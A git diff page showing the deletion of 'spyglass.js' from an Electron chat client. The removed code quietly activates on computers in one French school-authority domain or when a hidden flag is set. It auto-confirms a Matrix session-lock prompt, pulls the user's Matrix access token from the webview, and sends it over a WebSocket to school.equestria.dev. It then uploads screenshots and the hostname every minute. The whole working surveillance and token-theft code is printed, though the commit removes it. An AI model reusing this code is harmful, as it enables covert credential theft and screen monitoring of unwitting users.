summaryrefslogtreecommitdiff
path: root/client/src/spyglass.js
diff options
context:
space:
mode:
Diffstat (limited to 'client/src/spyglass.js')
-rw-r--r--client/src/spyglass.js124
1 files changed, 0 insertions, 124 deletions
diff --git a/client/src/spyglass.js b/client/src/spyglass.js
deleted file mode 100644
index f270f91..0000000
--- a/client/src/spyglass.js
+++ /dev/null
@@ -1,124 +0,0 @@
-const SPYGLASS_SERVER = "wss://school.equestria.dev/sgmain";
-const si = require('systeminformation');
-
-let SPYGLASS_STATE = false;
-let SPYGLASS_ENABLED = false;
-let SPYGLASS_INITIALIZED = false;
-let SPYGLASS_SOCKET = null;
-
-window.sgc = () => {
- return (SPYGLASS_ENABLED && SPYGLASS_STATE) || !SPYGLASS_ENABLED || !SPYGLASS_INITIALIZED;
-}
-
-async function sendProfile() {
- let screens = await ipcRenderer.invoke("get-screenshots");
- //let data = await si.getAllData("*", "*");
- let fullProfile = {
- screens,
- //systemInfo: data
- }
-
- console.log("Collected system information, " + JSON.stringify(fullProfile).length + " bytes");
-
- spyglassSend({
- state: "SYSTEM_REPORT",
- id: require('os').hostname(),
- data: fullProfile
- });
-}
-
-if ((process.env.USERDNSDOMAIN && process.env.USERDNSDOMAIN.endsWith(".AC-ORLEANS-TOURS.FR")) || localStorage.getItem("cr3-trial-forcespyglass") === "true") {
- SPYGLASS_ENABLED = true;
- let modal;
-
- function spyglassSend(d) {
- return SPYGLASS_SOCKET.send(JSON.stringify(d));
- }
-
- function startSpyglass() {
- SPYGLASS_INITIALIZED = false;
-
- SPYGLASS_SOCKET = new WebSocket(SPYGLASS_SERVER);
-
- SPYGLASS_SOCKET.onmessage = (e) => {
- let data;
- try {
- data = JSON.parse(e.data)
- } catch (e) {
- console.error("Spyglass", e);
- }
- if (!data) return;
-
- console.log("Spyglass", data);
-
- if (data.state) {
- switch (data.state) {
- case "NEEDS_AUTHENTICATION":
- let authInterval = setInterval(async () => {
- try {
- let token;
-
- if (!window.isNewUI) {
- if (await tabs.filter(i => i.small)[0].webview.children[1].executeJavaScript("!!document.getElementsByClassName('mx_ConfirmSessionLockTheftView_body')[0]")) {
- await tabs.filter(i => i.small)[0].webview.children[1].executeJavaScript("document.querySelector('.mx_ConfirmSessionLockTheftView_body .mx_AccessibleButton.mx_AccessibleButton_hasKind.mx_AccessibleButton_kind_primary').click()")
- }
-
- token = await tabs.filter(i => i.small)[0].webview.children[1].executeJavaScript("matrixChat.stores.client.http.opts.accessToken");
- } else {
- if (await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("!!document.getElementsByClassName('mx_ConfirmSessionLockTheftView_body')[0]")) {
- await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("document.querySelector('.mx_ConfirmSessionLockTheftView_body .mx_AccessibleButton.mx_AccessibleButton_hasKind.mx_AccessibleButton_kind_primary').click()")
- }
-
- token = await tabs.filter(i => i.small)[1].webview.children[1].executeJavaScript("matrixChat.stores.client.http.opts.accessToken");
- }
-
- clearInterval(authInterval);
-
- spyglassSend({
- state: "AUTHENTICATION_RESPONSE",
- token: token
- });
- } catch (e) {
- console.error(e);
- }
- }, 50);
-
- break;
-
- case "AUTHENTICATION_OK":
- SPYGLASS_STATE = true;
- sendProfile();
-
- window.spyglassInterval = setInterval(() => {
- sendProfile();
- }, 60000);
-
- refreshTabBar();
- break;
- }
- }
- }
-
- SPYGLASS_SOCKET.onopen = (e) => {
- console.log("Spyglass", e);
- }
-
- SPYGLASS_SOCKET.onerror = (e) => {
- console.log("Spyglass", e);
-
- SPYGLASS_SOCKET.close();
- clearInterval(window.spyglassInterval);
- }
-
- SPYGLASS_SOCKET.onclose = (e) => {
- console.log("Spyglass", e);
-
- SPYGLASS_STATE = false;
- clearInterval(window.spyglassInterval);
-
- setTimeout(() => {
- startSpyglass();
- }, 1000);
- }
- }
-}